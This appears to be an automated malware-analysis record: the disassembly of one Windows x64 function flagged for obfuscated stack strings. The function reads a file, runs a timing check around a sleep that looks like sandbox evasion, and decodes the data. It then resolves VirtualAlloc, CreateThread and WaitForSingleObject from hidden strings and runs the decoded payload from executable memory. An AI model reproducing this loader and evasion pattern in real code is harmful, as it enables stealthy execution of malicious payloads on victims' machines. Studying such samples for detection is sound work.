Function at 0x140002430
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x108]
sub rsp, 0x1f0
movaps xmmword [rax - 0x28], xmm6
xor r14d, r14d
cmp qword [rcx + 0x18], 0xf
jbe 0x140002463
mov rcx, qword [rcx]
mov r8d, 0x20
mov rdx, rcx
lea rcx, [rbp - 0x30]
call fcn.1400047f0
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], r15
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x20], 6
jne 0x140002983
mov qword [rsp + 0x40], r14
mov word [rsp + 0x48], 1
mov rcx, qword [rbp + rcx + 0x18]
mov qword [rsp + 0x30], rcx
test rcx, rcx
sete byte [rsp + 0x38]
mov byte [rsp + 0x39], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movaps xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm6, xmmword [rsp + 0x40]
test rcx, rcx
je 0x140002543
mov rax, qword [rcx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x14000250f
mov rax, qword [rcx + 0x50]
cmp dword [rax], 0
jle 0x14000250f
movzx eax, byte [rdx]
jmp 0x140002515
mov rax, qword [rcx]
call qword [rax + 0x30]
cmp eax, 0xffffffff
je 0x14000252f
mov byte [rsp + 0x39], al
mov rax, qword [rsp + 0x30]
mov byte [rsp + 0x38], 1
movaps xmm0, xmmword [rsp + 0x30]
jmp 0x140002548
mov rax, r14
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x38], 1
movaps xmm0, xmmword [rsp + 0x30]
jmp 0x140002548
movq rax, xmm0
test rax, rax
movq rax, xmm6
jne 0x1400025c9
test rax, rax
je 0x1400025ce
movdqa xmmword [rsp + 0x30], xmm6
movdqa xmmword [rsp + 0x40], xmm0
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140006300
nop
lea rcx, [rbp - 0x20]
call fcn.1400046a0
test rax, rax
jne 0x1400025e2
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx + 0x18], 0
cmovne eax, edx
or eax, dword [rbp + rcx - 0x20]
and eax, 0x17
mov dword [rbp + rcx - 0x20], eax
mov edx, dword [rbp + rcx - 0x1c]
and edx, eax
je 0x1400025e2
test dl, 4
je 0x140002a0d
lea rbx, str.ios_base::badbit_set
jmp 0x140002a22
test rax, rax
je 0x140002557
movdqa xmm0, xmmword [0x140010f00]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
jmp 0x140002578
call fcn.140006a70
mov rbx, rax
call fcn.140006a54
mov rcx, rax
movabs rsi, 0xb2f4fc0794908cf3
cmp rbx, 0x989680
jne 0x14000260b
imul rbx, rcx, 0x64
jmp 0x14000267b
cmp rbx, 0x16e3600
jne 0x14000265f
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rbx, rdx
shr rbx, 0x3f
add rbx, rdx
add rbx, r8
jmp 0x14000267b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
mov qword [rbp + 0x110], 0x1388
lea rcx, [rbp + 0x110]
call fcn.1400054f0
call fcn.140006a70
mov rdi, rax
call fcn.140006a54
mov r9, rax
cmp rdi, 0x989680
jne 0x1400026b1
imul rcx, r9, 0x64
jmp 0x140002720
cmp rdi, 0x16e3600
jne 0x140002705
mov rax, rsi
imul r9
add rdx, r9
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
imul r8, rdx, 0x3b9aca00
imul rcx, rdx, 0x16e3600
sub r9, rcx
imul rcx, r9, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
add rcx, r8
jmp 0x140002720
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rcx, rax
sub rcx, rbx
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov ecx, 0x7f149
sub ecx, edx
call fcn.140002150
cmp eax, 0x7f147
jle 0x140002931
cmp eax, 0x7f149
jge 0x140002931
mov edx, eax
lea rcx, [rbp - 0x58]
call fcn.140005050
nop
lea r8, [rbp - 0x58]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.140002050
nop
lea rdi, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov rcx, rax
call qword [sym.imp.msvcrt.dll_srand]
mov rbx, r14
nop word [rax + rax]
call qword [sym.imp.msvcrt.dll_rand]
inc rbx
cmp rbx, 0x64
jl 0x1400027b0
mov dword [rsp + 0x40], 0x74726956
mov dword [rsp + 0x44], 0x416c6175
mov dword [rsp + 0x48], 0x636f6c6c
mov byte [rsp + 0x4c], 0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call rax
mov rbx, rax
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rsp + 0x30], 0x61657243
mov dword [rsp + 0x34], 0x68546574
mov dword [rsp + 0x38], 0x64616572
mov byte [rsp + 0x3c], 0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call rax
mov rbx, rax
movdqa xmm0, xmmword [str.WaitForSingleObj_]
movdqu xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x60], 0x746365
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0xffffffff
mov rcx, rbx
call rax
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400028e2
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a51
call fcn.140007ca8
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140002931
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000292b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a57
call fcn.140007ca8
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14000296d
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002968
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a07
call fcn.140007ca8
movdqa xmm0, xmmword [0x140010f00]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rax, qword [rbp - 0x30]
movsxd rax, dword [rax + 4]
mov qword [rbp + rax - 0x30], r15
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x20]
call fcn.140003d10
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x34], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x80]
call fcn.14000739c
nop
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14000bf90
nop
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.140001640
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x58]
call fcn.140001ef0
lea rdx, [0x140013f50]
lea rcx, [rbp - 0x58]
call sub.msvcrt.dll__CxxThrowException
nop
call fcn.14000bf90
nop
call fcn.14000bf90
int3